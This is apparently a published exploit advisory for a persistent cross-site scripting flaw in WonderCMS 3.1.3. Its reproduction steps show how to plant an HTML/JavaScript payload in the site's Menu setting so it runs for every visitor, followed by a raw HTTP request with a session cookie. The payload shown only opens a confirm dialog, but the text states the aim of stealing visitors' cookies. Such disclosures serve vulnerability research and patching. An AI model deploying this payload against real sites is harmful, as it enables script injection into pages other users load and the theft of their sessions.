# Exploit Title: WonderCMS 3.1.3 - 'menu' Persistent Cross-Site Scripting # Date: 20-11-2020 # Exploit Author: Hemant Patidar (HemantSolo) # Vendor Homepage: https://www.wondercms.com/ # Version: 3.1.3 # Tested on: Windows 10/Kali Linux # Contact: https://www.linkedin.com/in/hemantsolo/ Attack vector: This vulnerability can results attacker to inject the XSS payload in the Setting - Menu and each time any user will visits the website directory, the XSS triggers and attacker can able to steal the cookie according to the crafted payload. Vulnerable Parameters: Menu. Steps-To-Reproduce: 1. Go to the Simple website builder. 2. Put this payload in Menu: "hemantsolo"><img src=x onerror=confirm(1)>" 3. Now go to the website and the XSS will be triggered. GET /demo/hemantsolo-img-src-x-onerror-confirm-1 HTTP/1.1 Host: 127.0.0.1 Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 DNT: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: 127.0.0.1/demo/hemantsolo-img-src-x-onerror-confirm-1 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7,ru;q=0.6 Cookie: PHPSESSID=31ce0448562cc182b5173a300a923b93